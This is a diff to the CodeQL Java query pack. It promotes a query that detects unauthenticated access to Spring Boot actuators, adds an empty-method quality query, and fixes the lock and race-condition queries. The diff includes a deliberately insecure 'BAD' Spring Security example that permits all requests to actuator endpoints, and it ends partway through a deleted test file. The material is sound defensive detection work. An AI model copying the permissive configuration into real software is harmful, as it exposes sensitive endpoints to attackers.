+++ b/java/ql/lib/semmle/code/java/security/SpringBootActuatorsQuery.qll
@@ -0,0 +1,110 @@
+/** Provides classes and predicates to reason about exposed actuators in Spring Boot. */
+
+import java
+private import semmle.code.java.frameworks.spring.SpringSecurity
+private import semmle.code.java.frameworks.spring.SpringBoot
+
+/**
+ * A call to an `HttpSecurity` matcher method with argument
+ * `EndpointRequest.toAnyEndpoint()`.
+ */
+private class HttpSecurityMatcherCall extends MethodCall {
+  HttpSecurityMatcherCall() {
+    (
+      this instanceof SpringRequestMatcherCall or
+      this instanceof SpringSecurityMatcherCall
+    ) and
+    this.getArgument(0) instanceof SpringToAnyEndpointCall
+  }
+}
+
+/**
+ * A call to an `HttpSecurity` matchers method with lambda
+ * argument `EndpointRequest.toAnyEndpoint()`.
+ */
+private class HttpSecurityMatchersCall extends MethodCall {
+  HttpSecurityMatchersCall() {
+    (
+      this instanceof SpringRequestMatchersCall or
+      this instanceof SpringSecurityMatchersCall
+    ) and
+    this.getArgument(0).(LambdaExpr).getExprBody() instanceof SpringToAnyEndpointCall
+  }
+}
+
+/**
+ * A call to an `AbstractRequestMatcherRegistry.requestMatchers` method with
+ * argument `EndpointRequest.toAnyEndpoint()`.
+ */
+private class RegistryRequestMatchersCall extends MethodCall {
+  RegistryRequestMatchersCall() {
+    this.getMethod().hasName("requestMatchers") and
+    this.getMethod().getDeclaringType() instanceof SpringAbstractRequestMatcherRegistry and
+    this.getAnArgument() instanceof SpringToAnyEndpointCall
+  }
+}
+
+/** A call to an `HttpSecurity` method that authorizes requests. */
+private class AuthorizeCall extends MethodCall {
+  AuthorizeCall() {
+    this instanceof SpringAuthorizeRequestsCall or
+    this instanceof SpringAuthorizeHttpRequestsCall
+  }
+}
+
+/** Holds if `permitAllCall` is called on request(s) mapped to actuator endpoint(s). */
+predicate permitsSpringBootActuators(SpringPermitAllCall permitAllCall) {
+  exists(AuthorizeCall authorizeCall |
+    // .requestMatcher(EndpointRequest).authorizeRequests([...]).[...]
+    authorizeCall.getQualifier() instanceof HttpSecurityMatcherCall
+    or
+    // .requestMatchers(matcher -> EndpointRequest).authorizeRequests([...]).[...]
+    authorizeCall.getQualifier() instanceof HttpSecurityMatchersCall
+  |
+    // [...].authorizeRequests(r -> r.anyRequest().permitAll()) or
+    // [...].authorizeRequests(r -> r.requestMatchers(EndpointRequest).permitAll())
+    authorizeCall.getArgument(0).(LambdaExpr).getExprBody() = permitAllCall and
+    (
+      permitAllCall.getQualifier() instanceof SpringAnyRequestCall or
+      permitAllCall.getQualifier() instanceof RegistryRequestMatchersCall
+    )
+    or
+    // [...].authorizeRequests().requestMatchers(EndpointRequest).permitAll() or
+    // [...].authorizeRequests().anyRequest().permitAll()
+    authorizeCall.getNumArgument() = 0 and
+    exists(RegistryRequestMatchersCall registryRequestMatchersCall |
+      registryRequestMatchersCall.getQualifier() = authorizeCall and
+      permitAllCall.getQualifier() = registryRequestMatchersCall
+    )
+    or
+    exists(SpringAnyRequestCall anyRequestCall |
+      anyRequestCall.getQualifier() = authorizeCall and
+      permitAllCall.getQualifier() = anyRequestCall
+    )
+  )
+  or
+  exists(AuthorizeCall authorizeCall |
+    // http.authorizeRequests([...]).[...]
+    authorizeCall.getQualifier() instanceof VarAccess
+  |
+    // [...].authorizeRequests(r -> r.requestMatchers(EndpointRequest).permitAll())
+    authorizeCall.getArgument(0).(LambdaExpr).getExprBody() = permitAllCall and
+    permitAllCall.getQualifier() instanceof RegistryRequestMatchersCall
+    or
+    // [...].authorizeRequests().requestMatchers(EndpointRequest).permitAll() or
+    authorizeCall.getNumArgument() = 0 and
+    exists(RegistryRequestMatchersCall registryRequestMatchersCall |
+      registryRequestMatchersCall.getQualifier() = authorizeCall and
+      permitAllCall.getQualifier() = registryRequestMatchersCall
+    )
+    or
+    exists(Variable v, HttpSecurityMatcherCall matcherCall |
+      // http.securityMatcher(EndpointRequest.toAnyEndpoint());
+      // http.authorizeRequests([...].permitAll())
+      v.getAnAccess() = authorizeCall.getQualifier() and
+      v.getAnAccess() = matcherCall.getQualifier() and
+      authorizeCall.getArgument(0).(LambdaExpr).getExprBody() = permitAllCall and
+      permitAllCall.getQualifier() instanceof SpringAnyRequestCall
+    )
+  )
+}
diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md
index 8e463d79fb99..d27571c724db 100644
--- a/java/ql/src/CHANGELOG.md
+++ b/java/ql/src/CHANGELOG.md
@@ -1,3 +1,19 @@
+## 1.4.0
+
+### New Queries
+
+* Added a new quality query, `java/empty-method`, to detect empty methods.
+* The query `java/spring-boot-exposed-actuators` has been promoted from experimental to the main query pack. Its results will now appear by default, and the query itself will be removed from the [CodeQL Community Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs). This query was originally submitted as an experimental query [by @ggolawski](https://github.com/github/codeql/pull/2901).
+
+### Major Analysis Improvements
+
+* Updated the `java/unreleased-lock` query so that it no longer report alerts in cases where a boolean variable is used to track lock state.
+
+### Minor Analysis Improvements
+
+* Fixed a false positive in "Time-of-check time-of-use race condition" (`java/toctou-race-condition`) where a field of a non-static class was not considered always-locked if it was accessed in a constructor.
+* Overrides of `BroadcastReceiver::onReceive` with no statements in their body are no longer considered unverified by the `java/improper-intent-verification` query. This will reduce false positives from `onReceive` methods which do not perform any actions.
+
 ## 1.3.1
 
 No user-facing changes.
diff --git a/java/ql/src/Language Abuse/EmptyMethod.md b/java/ql/src/Language Abuse/EmptyMethod.md
new file mode 100644
index 000000000000..e4042973681c
--- /dev/null
+++ b/java/ql/src/Language Abuse/EmptyMethod.md	
@@ -0,0 +1,40 @@
+## Overview
+
+An empty method may indicate that an implementation was intended to be provided but was accidentally omitted. When using the method, it will not be clear that it does not provide an implementation and with dynamic dispatch, resolving to a blank method may result in unexpected program behavior.
+
+## Recommendation
+
+If a method is intended to be left empty, do one of the following to indicate that it is intentionally empty: 
+1. Mark it abstract in an abstract class
+2. Place it in an interface (then it can be implicitly abstract)
+3. Place a comment in that method that lets others know that the implementation was intentionally omitted
+4. Add `UnsupportedOperationException` to the method (as in `java.util.Collection.add`).
+
+## Example
+
+```java
+public class Test {
+    public void f1() { // COMPLIANT
+        // intentionally empty
+    }
+
+    public void f2() {} // NON_COMPLIANT
+
+    public void f3(){ throw new UnsupportedOperationException(); } // COMPLIANT
+
+    public abstract class TestInner {
+
+        public abstract void f(); // COMPLIANT - intentionally empty
+    }
+
+}
+```
+
+## Implementation Notes
+
+The rule excludes reporting methods that are annotated.
+
+## References
+- Java SE Documentation: [java.util.Collection.add](https://docs.oracle.com/en/java/javase/20/docs/api/java.base/java/util/Collection.html#add(E)).
+- Wikipedia: [Template method pattern](https://en.wikipedia.org/wiki/Template_method_pattern).
+- Common Weakness Enumeration: [CWE-1071](https://cwe.mitre.org/data/definitions/1071.html).
diff --git a/java/ql/src/Language Abuse/EmptyMethod.ql b/java/ql/src/Language Abuse/EmptyMethod.ql
new file mode 100644
index 000000000000..f8e2d350eec4
--- /dev/null
+++ b/java/ql/src/Language Abuse/EmptyMethod.ql	
@@ -0,0 +1,41 @@
+/**
+ * @id java/empty-method
+ * @name Empty method
+ * @description An empty method serves no purpose and makes code less readable. An empty method may
+ *              indicate an error on the part of the developer.
+ * @kind problem
+ * @precision medium
+ * @problem.severity recommendation
+ * @tags correctness
+ *       maintainability
+ *       readability
+ *       quality
+ *       external/cwe/cwe-1071
+ */
+
+import java
+
+/**
+ * A `Method` from source that is not abstract, and likely not a test method
+ */
+class NonAbstractSource extends Method {
+  NonAbstractSource() {
+    this.fromSource() and
+    not this.isAbstract() and
+    not this instanceof LikelyTestMethod
+  }
+}
+
+from NonAbstractSource m
+where
+  //empty
+  not exists(m.getBody().getAChild()) and
+  //permit comment lines explaining why this is empty
+  m.getNumberOfCommentLines() = 0 and
+  //permit a javadoc above as well as sufficient reason to leave empty
+  not exists(m.getDoc().getJavadoc()) and
+  //annotated methods are considered compliant
+  not exists(m.getAnAnnotation()) and
+  //native methods have no body
+  not m.isNative()
+select m, "Empty method found."
diff --git a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql
index d46acc6aee06..73c66c664f1a 100644
--- a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql	
+++ b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql	
@@ -118,6 +118,26 @@ predicate heldByCurrentThreadCheck(LockType t, BasicBlock checkblock, BasicBlock
   )
 }
 
+/**
+ * Holds if there is a variable access in `checkblock` that has `falsesucc` as the false successor.
+ *
+ * The variable access must have an assigned value that is a lock access on `t`, and
+ * the true successor of `checkblock` must contain an unlock access.
+ */
+predicate variableLockStateCheck(LockType t, BasicBlock checkblock, BasicBlock falsesucc) {
+  exists(ConditionBlock conditionBlock, VarAccess v |
+    v.getType() instanceof BooleanType and
+    // Ensure that a lock access is assigned to the variable
+    v.getVariable().getAnAssignedValue() = t.getLockAccess() and
+    // Ensure that the `true` successor of the condition block contains an unlock access
+    conditionBlock.getTestSuccessor(true) = t.getUnlockAccess().getBasicBlock() and
+    conditionBlock.getCondition() = v
+  |
+    conditionBlock.getBasicBlock() = checkblock and
+    conditionBlock.getTestSuccessor(false) = falsesucc
+  )
+}
+
 /**
  * A control flow path from a locking call in `src` to `b` such that the number of
  * locks minus the number of unlocks along the way is positive and equal to `locks`.
@@ -131,8 +151,9 @@ predicate blockIsLocked(LockType t, BasicBlock src, BasicBlock b, int locks) {
     // The number of net locks from the `src` block to the predecessor block `pred` is `predlocks`.
     blockIsLocked(t, src, pred, predlocks) and
     // The recursive call ensures that at least one lock is held, so do not consider the false
-    // successor of the `isHeldByCurrentThread()` check.
+    // successor of the `isHeldByCurrentThread()` check or of `variableLockStateCheck`.
     not heldByCurrentThreadCheck(t, pred, b) and
+    not variableLockStateCheck(t, pred, b) and
     // Count a failed lock as an unlock so the net is zero.
     (if failedLock(t, pred, b) then failedlock = 1 else failedlock = 0) and
     (
diff --git a/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.java b/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.java
new file mode 100644
index 000000000000..5f61127db288
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.java
@@ -0,0 +1,25 @@
+@Configuration(proxyBeanMethods = false)
+public class CustomSecurityConfiguration {
+
+    @Bean
+    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
+        // BAD: Unauthenticated access to Spring Boot actuator endpoints is allowed
+        http.securityMatcher(EndpointRequest.toAnyEndpoint());
+        http.authorizeHttpRequests((requests) -> requests.anyRequest().permitAll());
+        return http.build();
+    }
+
+}
+
+@Configuration(proxyBeanMethods = false)
+public class CustomSecurityConfiguration {
+
+    @Bean
+    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
+        // GOOD: only users with ENDPOINT_ADMIN role are allowed to access the actuator endpoints
+        http.securityMatcher(EndpointRequest.toAnyEndpoint());
+        http.authorizeHttpRequests((requests) -> requests.anyRequest().hasRole("ENDPOINT_ADMIN"));
+        return http.build();
+    }
+
+}
diff --git a/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.qhelp b/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.qhelp
new file mode 100644
index 000000000000..97ced3576f66
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.qhelp
@@ -0,0 +1,36 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+<overview>
+<p>Spring Boot includes features called actuators that let you monitor and interact with your
+web application. Exposing unprotected actuator endpoints can lead to information disclosure or
+even to remote code execution.</p>
+</overview>
+
+<recommendation>
+<p>Since actuator endpoints may contain sensitive information, carefully consider when to expose them,
+and secure them as you would any sensitive URL. Actuators are secured by default when using Spring
+Security without a custom configuration. If you wish to define a custom security configuration,
+consider only allowing users with certain roles to access these endpoints.
+</p>
+
+</recommendation>
+
+<example>
+<p>In the first example, the custom security configuration allows unauthenticated access to all
+actuator endpoints. This may lead to sensitive information disclosure and should be avoided.</p>
+
+<p>In the second example, only users with <code>ENDPOINT_ADMIN</code> role are allowed to access
+the actuator endpoints.</p>
+
+<sample src="SpringBootActuators.java" />
+</example>
+
+<references>
+<li>
+Spring Boot Reference Documentation:
+<a href="https://docs.spring.io/spring-boot/reference/actuator/endpoints.html">Endpoints</a>.
+</li>
+</references>
+</qhelp>
diff --git a/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.ql b/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.ql
new file mode 100644
index 000000000000..1e0944062a01
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-200/SpringBootActuators.ql
@@ -0,0 +1,20 @@
+/**
+ * @name Exposed Spring Boot actuators
+ * @description Exposing Spring Boot actuators may lead to information leak from the internal application,
+ *              or even to remote code execution.
+ * @kind problem
+ * @problem.severity error
+ * @security-severity 6.5
+ * @precision high
+ * @id java/spring-boot-exposed-actuators
+ * @tags security
+ *       external/cwe/cwe-200
+ */
+
+import java
+import semmle.code.java.frameworks.spring.SpringSecurity
+import semmle.code.java.security.SpringBootActuatorsQuery
+
+from SpringPermitAllCall permitAllCall
+where permitsSpringBootActuators(permitAllCall)
+select permitAllCall, "Unauthenticated access to Spring Boot actuator is allowed."
diff --git a/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql b/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql
index d9decc0fe6d2..19824e0b01e8 100644
--- a/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql
+++ b/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql
@@ -23,5 +23,5 @@ where
   sink.getNode().asExpr() = c.getAlgoSpec() and
   InsecureCryptoFlow::flowPath(source, sink)
 select c, source, sink,
-  "Cryptographic algorithm $@ may not be secure, consider using a different algorithm.", source,
+  "Cryptographic algorithm $@ may not be secure. Consider using a different algorithm.", source,
   source.getNode().asExpr().(InsecureAlgorithm).getStringValue()
diff --git a/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql b/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql
index ca2c948867f8..868085524337 100644
--- a/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql
+++ b/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql
@@ -54,30 +54,34 @@ class PossiblyConcurrentCallable extends Callable {
   }
 }
 
+private VarAccess getANonInitializationAccess(Field f) {
+  result = f.getAnAccess() and
+  exists(Callable c | c = result.getEnclosingCallable() |
+    not (
+      c = f.getDeclaringType().getACallable() and
+      (c instanceof Constructor or c instanceof InitializerMethod)
+    )
+  )
+}
+
 /**
  * Holds if all accesses to `v` (outside of initializers) are locked in the same way.
  */
 predicate alwaysLocked(Field f) {
   exists(Variable lock |
-    forex(VarAccess access |
-      access = f.getAnAccess() and not access.getEnclosingCallable() instanceof InitializerMethod
-    |
+    forex(VarAccess access | access = getANonInitializationAccess(f) |
       locallySynchronizedOn(access, _, lock)
     )
   )
   or
   exists(RefType thisType |
-    forex(VarAccess access |
-      access = f.getAnAccess() and not access.getEnclosingCallable() instanceof InitializerMethod
-    |
+    forex(VarAccess access | access = getANonInitializationAccess(f) |
       locallySynchronizedOnThis(access, thisType)
     )
   )
   or
   exists(RefType classType |
-    forex(VarAccess access |
-      access = f.getAnAccess() and not access.getEnclosingCallable() instanceof InitializerMethod
-    |
+    forex(VarAccess access | access = getANonInitializationAccess(f) |
       locallySynchronizedOnClass(access, classType)
     )
   )
diff --git a/java/ql/src/change-notes/released/1.4.0.md b/java/ql/src/change-notes/released/1.4.0.md
new file mode 100644
index 000000000000..bc86e5de425b
--- /dev/null
+++ b/java/ql/src/change-notes/released/1.4.0.md
@@ -0,0 +1,15 @@
+## 1.4.0
+
+### New Queries
+
+* Added a new quality query, `java/empty-method`, to detect empty methods.
+* The query `java/spring-boot-exposed-actuators` has been promoted from experimental to the main query pack. Its results will now appear by default, and the query itself will be removed from the [CodeQL Community Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs). This query was originally submitted as an experimental query [by @ggolawski](https://github.com/github/codeql/pull/2901).
+
+### Major Analysis Improvements
+
+* Updated the `java/unreleased-lock` query so that it no longer report alerts in cases where a boolean variable is used to track lock state.
+
+### Minor Analysis Improvements
+
+* Fixed a false positive in "Time-of-check time-of-use race condition" (`java/toctou-race-condition`) where a field of a non-static class was not considered always-locked if it was accessed in a constructor.
+* Overrides of `BroadcastReceiver::onReceive` with no statements in their body are no longer considered unverified by the `java/improper-intent-verification` query. This will reduce false positives from `onReceive` methods which do not perform any actions.
diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml
index e71b6d081f15..b8b2e97d5086 100644
--- a/java/ql/src/codeql-pack.release.yml
+++ b/java/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.3.1
+lastReleaseVersion: 1.4.0
diff --git a/java/ql/src/codeql-suites/java-ccr.qls b/java/ql/src/codeql-suites/java-code-quality.qls
similarity index 100%
rename from java/ql/src/codeql-suites/java-ccr.qls
rename to java/ql/src/codeql-suites/java-code-quality.qls
diff --git a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.java b/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.java
deleted file mode 100644
index 538620550efc..000000000000
--- a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.java
+++ /dev/null
@@ -1,22 +0,0 @@
-@Configuration(proxyBeanMethods = false)
-public class SpringBootActuators extends WebSecurityConfigurerAdapter {
-
-  @Override
-  protected void configure(HttpSecurity http) throws Exception {
-    // BAD: Unauthenticated access to Spring Boot actuator endpoints is allowed
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests((requests) ->
-        requests.anyRequest().permitAll());
-  }
-}
-
-@Configuration(proxyBeanMethods = false)
-public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
-
-  @Override
-  protected void configure(HttpSecurity http) throws Exception {
-    // GOOD: only users with ENDPOINT_ADMIN role are allowed to access the actuator endpoints
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests((requests) ->
-        requests.anyRequest().hasRole("ENDPOINT_ADMIN"));
-    http.httpBasic();
-  }
-}
\ No newline at end of file
diff --git a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.qhelp b/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.qhelp
deleted file mode 100644
index 53ee653aaff3..000000000000
--- a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.qhelp
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE qhelp PUBLIC
-  "-//Semmle//qhelp//EN"
-  "qhelp.dtd">
-<qhelp>
-<overview>
-<p>Spring Boot includes a number of additional features called actuators that let you monitor
-and interact with your web application. Exposing unprotected actuator endpoints via JXM or HTTP
-can, however, lead to information disclosure or even to remote code execution vulnerability.</p>
-</overview>
-
-<recommendation>
-<p>Since actuator endpoints may contain sensitive information, careful consideration should be
-given about when to expose them. You should take care to secure exposed HTTP endpoints in the same
-way that you would any other sensitive URL. If Spring Security is present, endpoints are secured by
-default using Spring Security’s content-negotiation strategy. If you wish to configure custom
-security for HTTP endpoints, for example, only allow users with a certain role to access them,
-Spring Boot provides some convenient <code>RequestMatcher</code> objects that can be used in
-combination with Spring Security.</p>
-</recommendation>
-
-<example>
-<p>In the first example, the custom security configuration allows unauthenticated access to all
-actuator endpoints. This may lead to sensitive information disclosure and should be avoided.</p>
-<p>In the second example, only users with <code>ENDPOINT_ADMIN</code> role are allowed to access
-the actuator endpoints.</p>
-
-<sample src="SpringBootActuators.java" />
-</example>
-
-<references>
-<li>
-Spring Boot documentation:
-<a href="https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html">Actuators</a>.
-</li>
-<li>
-<a href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">Exploiting Spring Boot Actuators</a>
-</li>
-</references>
-</qhelp>
diff --git a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.ql b/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.ql
deleted file mode 100644
index 574336074254..000000000000
--- a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.ql
+++ /dev/null
@@ -1,20 +0,0 @@
-/**
- * @name Exposed Spring Boot actuators
- * @description Exposing Spring Boot actuators may lead to internal application's information leak
- *              or even to remote code execution.
- * @kind problem
- * @problem.severity error
- * @precision high
- * @id java/spring-boot-exposed-actuators
- * @tags security
- *       experimental
- *       external/cwe/cwe-16
- */
-
-import java
-deprecated import SpringBootActuators
-
-deprecated query predicate problems(PermitAllCall permitAllCall, string message) {
-  permitAllCall.permitsSpringBootActuators() and
-  message = "Unauthenticated access to Spring Boot actuator is allowed."
-}
diff --git a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.qll b/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.qll
deleted file mode 100644
index 881f2a131720..000000000000
--- a/java/ql/src/experimental/Security/CWE/CWE-016/SpringBootActuators.qll
+++ /dev/null
@@ -1,157 +0,0 @@
-deprecated module;
-
-import java
-
-/** The class `org.springframework.security.config.annotation.web.builders.HttpSecurity`. */
-class TypeHttpSecurity extends Class {
-  TypeHttpSecurity() {
-    this.hasQualifiedName("org.springframework.security.config.annotation.web.builders",
-      "HttpSecurity")
-  }
-}
-
-/**
- * The class
- * `org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer`.
- */
-class TypeAuthorizedUrl extends Class {
-  TypeAuthorizedUrl() {
-    this.hasQualifiedName("org.springframework.security.config.annotation.web.configurers",
-      "ExpressionUrlAuthorizationConfigurer<HttpSecurity>$AuthorizedUrl<>")
-  }
-}
-
-/**
- * The class `org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry`.
- */
-class TypeAbstractRequestMatcherRegistry extends Class {
-  TypeAbstractRequestMatcherRegistry() {
-    this.hasQualifiedName("org.springframework.security.config.annotation.web",
-      "AbstractRequestMatcherRegistry<AuthorizedUrl<>>")
-  }
-}
-
-/**
- * The class `org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest`.
- */
-class TypeEndpointRequest extends Class {
-  TypeEndpointRequest() {
-    this.hasQualifiedName("org.springframework.boot.actuate.autoconfigure.security.servlet",
-      "EndpointRequest")
-  }
-}
-
-/** A call to `EndpointRequest.toAnyEndpoint` method. */
-class ToAnyEndpointCall extends MethodCall {
-  ToAnyEndpointCall() {
-    this.getMethod().hasName("toAnyEndpoint") and
-    this.getMethod().getDeclaringType() instanceof TypeEndpointRequest
-  }
-}
-
-/**
- * A call to `HttpSecurity.requestMatcher` method with argument `RequestMatcher.toAnyEndpoint()`.
- */
-class RequestMatcherCall extends MethodCall {
-  RequestMatcherCall() {
-    this.getMethod().hasName("requestMatcher") and
-    this.getMethod().getDeclaringType() instanceof TypeHttpSecurity and
-    this.getArgument(0) instanceof ToAnyEndpointCall
-  }
-}
-
-/**
- * A call to `HttpSecurity.requestMatchers` method with lambda argument
- * `RequestMatcher.toAnyEndpoint()`.
- */
-class RequestMatchersCall extends MethodCall {
-  RequestMatchersCall() {
-    this.getMethod().hasName("requestMatchers") and
-    this.getMethod().getDeclaringType() instanceof TypeHttpSecurity and
-    this.getArgument(0).(LambdaExpr).getExprBody() instanceof ToAnyEndpointCall
-  }
-}
-
-/** A call to `HttpSecurity.authorizeRequests` method. */
-class AuthorizeRequestsCall extends MethodCall {
-  AuthorizeRequestsCall() {
-    this.getMethod().hasName("authorizeRequests") and
-    this.getMethod().getDeclaringType() instanceof TypeHttpSecurity
-  }
-}
-
-/** A call to `AuthorizedUrl.permitAll` method. */
-class PermitAllCall extends MethodCall {
-  PermitAllCall() {
-    this.getMethod().hasName("permitAll") and
-    this.getMethod().getDeclaringType() instanceof TypeAuthorizedUrl
-  }
-
-  /** Holds if `permitAll` is called on request(s) mapped to actuator endpoint(s). */
-  predicate permitsSpringBootActuators() {
-    exists(AuthorizeRequestsCall authorizeRequestsCall |
-      // .requestMatcher(EndpointRequest).authorizeRequests([...]).[...]
-      authorizeRequestsCall.getQualifier() instanceof RequestMatcherCall
-      or
-      // .requestMatchers(matcher -> EndpointRequest).authorizeRequests([...]).[...]
-      authorizeRequestsCall.getQualifier() instanceof RequestMatchersCall
-    |
-      // [...].authorizeRequests(r -> r.anyRequest().permitAll()) or
-      // [...].authorizeRequests(r -> r.requestMatchers(EndpointRequest).permitAll())
-      authorizeRequestsCall.getArgument(0).(LambdaExpr).getExprBody() = this and
-      (
-        this.getQualifier() instanceof AnyRequestCall or
-        this.getQualifier() instanceof RegistryRequestMatchersCall
-      )
-      or
-      // [...].authorizeRequests().requestMatchers(EndpointRequest).permitAll() or
-      // [...].authorizeRequests().anyRequest().permitAll()
-      authorizeRequestsCall.getNumArgument() = 0 and
-      exists(RegistryRequestMatchersCall registryRequestMatchersCall |
-        registryRequestMatchersCall.getQualifier() = authorizeRequestsCall and
-        this.getQualifier() = registryRequestMatchersCall
-      )
-      or
-      exists(AnyRequestCall anyRequestCall |
-        anyRequestCall.getQualifier() = authorizeRequestsCall and
-        this.getQualifier() = anyRequestCall
-      )
-    )
-    or
-    exists(AuthorizeRequestsCall authorizeRequestsCall |
-      // http.authorizeRequests([...]).[...]
-      authorizeRequestsCall.getQualifier() instanceof VarAccess
-    |
-      // [...].authorizeRequests(r -> r.requestMatchers(EndpointRequest).permitAll())
-      authorizeRequestsCall.getArgument(0).(LambdaExpr).getExprBody() = this and
-      this.getQualifier() instanceof RegistryRequestMatchersCall
-      or
-      // [...].authorizeRequests().requestMatchers(EndpointRequest).permitAll() or
-      authorizeRequestsCall.getNumArgument() = 0 and
-      exists(RegistryRequestMatchersCall registryRequestMatchersCall |
-        registryRequestMatchersCall.getQualifier() = authorizeRequestsCall and
-        this.getQualifier() = registryRequestMatchersCall
-      )
-    )
-  }
-}
-
-/** A call to `AbstractRequestMatcherRegistry.anyRequest` method. */
-class AnyRequestCall extends MethodCall {
-  AnyRequestCall() {
-    this.getMethod().hasName("anyRequest") and
-    this.getMethod().getDeclaringType() instanceof TypeAbstractRequestMatcherRegistry
-  }
-}
-
-/**
- * A call to `AbstractRequestMatcherRegistry.requestMatchers` method with an argument
- * `RequestMatcher.toAnyEndpoint()`.
- */
-class RegistryRequestMatchersCall extends MethodCall {
-  RegistryRequestMatchersCall() {
-    this.getMethod().hasName("requestMatchers") and
-    this.getMethod().getDeclaringType() instanceof TypeAbstractRequestMatcherRegistry and
-    this.getAnArgument() instanceof ToAnyEndpointCall
-  }
-}
diff --git a/java/ql/src/experimental/Security/CWE/CWE-489/TestLib.qll b/java/ql/src/experimental/Security/CWE/CWE-489/TestLib.qll
index 1d20dc0db1e0..8279d4d823c5 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-489/TestLib.qll
+++ b/java/ql/src/experimental/Security/CWE/CWE-489/TestLib.qll
@@ -10,9 +10,4 @@ import java
  *    c) in a test class whose name has the word `test`
  *    d) in a test class implementing a test framework such as JUnit or TestNG
  */
-predicate isTestMethod(Method m) {
-  m.getDeclaringType().getName().toLowerCase().matches("%test%") or // Simple check to exclude test classes to reduce FPs
-  m.getDeclaringType().getPackage().getName().toLowerCase().matches("%test%") or // Simple check to exclude classes in test packages to reduce FPs
-  exists(m.getLocation().getFile().getAbsolutePath().indexOf("/src/test/java")) or //  Match test directory structure of build tools like maven
-  m instanceof TestMethod // Test method of a test case implementing a test framework such as JUnit or TestNG
-}
+predicate isTestMethod(LikelyTestMethod m) { any() }
diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml
index 9a8c5c013395..d7143d40041b 100644
--- a/java/ql/src/qlpack.yml
+++ b/java/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/java-queries
-version: 1.3.1
+version: 1.4.0
 groups:
   - java
   - queries
diff --git a/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.expected b/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.expected
deleted file mode 100644
index f2874e3694d1..000000000000
--- a/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.expected
+++ /dev/null
@@ -1,7 +0,0 @@
-| SpringBootActuators.java:6:88:6:120 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
-| SpringBootActuators.java:10:5:10:137 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
-| SpringBootActuators.java:14:5:14:149 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
-| SpringBootActuators.java:18:5:18:101 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
-| SpringBootActuators.java:22:5:22:89 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
-| SpringBootActuators.java:26:40:26:108 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
-| SpringBootActuators.java:30:5:30:113 | permitAll(...) | Unauthenticated access to Spring Boot actuator is allowed. |
diff --git a/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.java b/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.java
deleted file mode 100644
index da59919fbe6c..000000000000
--- a/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.java
+++ /dev/null
@@ -1,104 +0,0 @@
-import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
-import org.springframework.security.config.annotation.web.builders.HttpSecurity;
-
-public class SpringBootActuators {
